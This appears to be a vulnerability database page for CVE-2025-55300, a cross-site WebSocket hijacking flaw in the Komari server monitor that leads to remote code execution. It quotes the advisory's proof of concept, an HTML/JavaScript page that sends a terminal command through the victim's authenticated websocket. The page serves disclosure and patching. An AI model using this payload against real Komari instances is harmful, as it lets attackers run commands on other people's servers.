CVE-2025-55300
JSON

8.6high

Komari Allows Cross-site WebSocket Hijacking

Severity
8.6high CVSS:4.0 by GitHub_M
Exploit likelihood
0.64% (higher than 51% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-q355-h244-969hGO-2025-3874

Description

Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.

Affected

Product or packageVersionsReported by
komari-monitor komari< 1.0.4-fix1CVE List
github.com/komari-monitor/komari (Go)before 0.0.0-20250809073044-53171affcaf0GitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M8.6high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Classification

CWE-79CWE-1385

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.

GitHub Advisory Database
Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC
  1. Login in to your komari instance
  2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
  3. Visit this HTML page, you can see your node is executing uptime without your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Go Vulnerability Database

Komari vulnerable to Cross-site WebSocket Hijacking in github.com/komari-monitor/komari

NVD (es)

Komari es una herramienta ligera y autoalojada para la monitorización de servidores, diseñada para ofrecer una solución sencilla y eficiente para supervisar el rendimiento del servidor. Antes de la versión 1.0.4-fix1, el actualizador de WebSocket deshabilitaba la comprobación de origen, lo que permitía ataques de Cross-Site WebSocket Hijacking (CSWSH) contra usuarios autenticados. Cualquier sitio web de terceros puede enviar solicitudes al endpoint websocket del terminal con las cookies del navegador, lo que provoca la ejecución remota de código. Esta vulnerabilidad se corrigió en la versión 1.0.4-fix1.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-55300 changed 2025-08-18CVE Terms of Use
GitHub Advisory DatabaseGHSA-q355-h244-969h changed 2025-08-19CC-BY-4.0
Go Vulnerability DatabaseGO-2025-3874 changed 2026-03-03CC-BY-4.0
NVDCVE-2025-55300 changed 2026-06-17Public domain